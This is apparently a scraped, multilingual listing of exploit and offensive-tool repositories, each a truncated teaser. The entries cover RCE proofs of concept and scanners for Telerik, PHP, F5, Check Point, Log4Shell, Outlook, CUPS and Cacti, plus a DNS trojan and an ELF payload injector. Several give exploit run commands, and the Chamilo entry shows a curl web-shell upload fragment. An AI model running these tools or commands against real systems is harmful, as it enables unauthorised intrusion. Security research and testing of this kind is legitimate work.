Telerik_CVE-2019-18935

TelerikUI Python Scanner telerikrcescan.py Examples Assess an IP for CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Assess a hostname for CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Assess a CIDR network range for CVE-2019-18935 $ python3 telerikrcescan.py -r...

CVE-2024-4577

CVE-2024-4577 Vulnerabilidad de inyección de argumentos en PHP INSTALACIÓN git clone https://github.com/gotr00t0day/CVE-2024-4577.git cd CVE-2024-4577 pip3 install -r requirements.txt USO root@kitploit: Escanear un objetivo python3 CVE-2024-4577.py -t https://160.153.61.66/ -c "" Escanear una lis...

CVE-2020-5902-POC-EXP

CVE-2020-5902-POC-EXP Método de uso root@kitploit: python3 f5rce.py scan iplisttxt python3 f5rce.py https://test.cn:443 ifconfig Modo de escaneo Modo RCE...

CVE-2024-24919

Check Point Security Gateway RCE Exploit Tool CVE-2024-24919 Resumen Este repositorio contiene una herramienta para explotar la vulnerabilidad CVE-2024-24919 en Check Point Security Gateways. La herramienta es un multi-escáner que puede identificar dispositivos vulnerables y un exploit de un solo...

CVE-2024-24590

CVE-2024-24590 La deserialización de datos no confiables puede ocurrir en las versiones 0.17.0 a 1.14.2 del SDK de cliente de la plataforma ClearML de Allegro AI, lo que permite que un artefacto cargado maliciosamente ejecute código arbitrario en el sistema de un usuario final cuando se interactú...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Proof of Concept Apache Log4j2 =2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute...

dnschan

dnschan This is a trojan that runs over DNS. You can: handle multiple agents very slowly upload files fetch files from the web run processes...

CVE-2025-55182

Escáner CVE-2025-55182 Un escáner de prueba de concepto para CVE-2025-55182 , una vulnerabilidad crítica de Ejecución Remota de Código RCE sin autenticación en React Server Components RSC. Resumen El 3 de diciembre de 2025, se reveló una vulnerabilidad crítica que afecta a aplicaciones React 19.x...

CVE-2021-44228-PoC

Self-contained lab environment PoC that runs a reverse-shell with Log4Shell CVE-2021-44228 This is a self-contained lab environment that runs the exploit safely, all from docker compose. The affected versions are Apache Log4j =2.0–2.14.1 and the CVE is tracked as CVE-2021-44228 CVSS score: 10.0. ...

strilight

Strilight v0.2.0 High-Performance Algebraic Loop Lifting & Exact Rational Recurrence Engine for Python and C %20/%20O\log%20N-orange.svg Overview: Why Iterate When You Can Solve? Traditional compilers, runtimes, and JIT engines such as GCC, Clang, PyPy, or Numba treat loops as repetitive...

CVE-2024-48359

CVE-2024-48359 - Qualitor = v8.24 Unauthenticated RCE PoC CVE-2024-48359 | Qualitor = v8.24 RCE Description Qualitor is a platform for business process management, and this system is present in various companies in Brazil that can be identified simply by using Google dorking. Our team identified ...

POC-CVE-2021-41773

POC-CVE-2021-41773 El 5 de octubre de 2021 se publicó un CVE que detalla un ataque de path traversal en Apache HTTP Server v2.4.49. Se le asignó el número CVE-2021-41773 y se publicó con la siguiente descripción: Se encontró una falla en un cambio realizado en la normalización de rutas en Apache...

drow

drow Descripción TL;DR drow es una utilidad de línea de comandos que se utiliza para inyectar código y enganchar el punto de entrada de ejecutables ELF post-compilación. Toma ejecutables ELF sin modificar como entrada y exporta un ELF modificado que contiene un payload suministrado por el usuario...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | PoC de la vulnerabilidad de ejecución remota de código en Microsoft Outlook 📜 Descripción Este script presenta una prueba de concepto PoC para CVE-2024-21413, una vulnerabilidad de seguridad significativa descubierta en Microsoft Outlook con un CVSS de 9.8. Denominada como el fal...

CUPS-CVE-2024-47176

Escáner de vulnerabilidad CVE-2024-47176 para CUPS Una herramienta sencilla para escanear sistemas que ejecutan CUPS Sistema de Impresión Común de Unix en busca de la vulnerabilidad CVE-2024-47176. Esta vulnerabilidad puede provocar la ejecución remota de código RCE a través del Protocolo de...

CVE-2023-43263

ID de CVE : CVE-2023-43263 Tipo de vulnerabilidad : Cross-Site Scripting Descripción : La vulnerabilidad de cross-site scripting XSS en Froala Editor v.4.1.1 permite a los atacantes ejecutar código arbitrario a través del componente de Markdown. Pasos para reproducir : Introduce el payload en la...

CVE-2023-43879-RiteCMS-Stored-XSS---GlobalContent

Rite CMS v3.0 Múltiples XSS Almacenados Autor: Sergio Descripción: Rite CMS 3.0 está afectado por una vulnerabilidad de Cross-Site Scripting XSS almacenado que permite a los atacantes ejecutar código arbitrario mediante un payload manipulado en los Global Content Blocks del Administration Menu...

CVE-2023-4220

CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE Uso de Burp Suite para explotar la vulnerabilidad de deserialización de Java 0x01 Montar la vulnerabilidad de deserialización de Jboss JMXInvokerServlet Entorno de prueba: Vulnerabilidad de deserialización de JBoss JMXInvokerServlet Principio de la...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 अप्रमाणित दूरस्थ कोड निष्पादन Python 3 का उपयोग करता है Docker के बिना चलाना: root@kitploit: git clone https://github.com/hexcowboy/CVE-2020-8813.git && cd CVE-2020-8813 python3 -m venv env && source env/bin/activate pip install -r requirements.txt python exploit.py...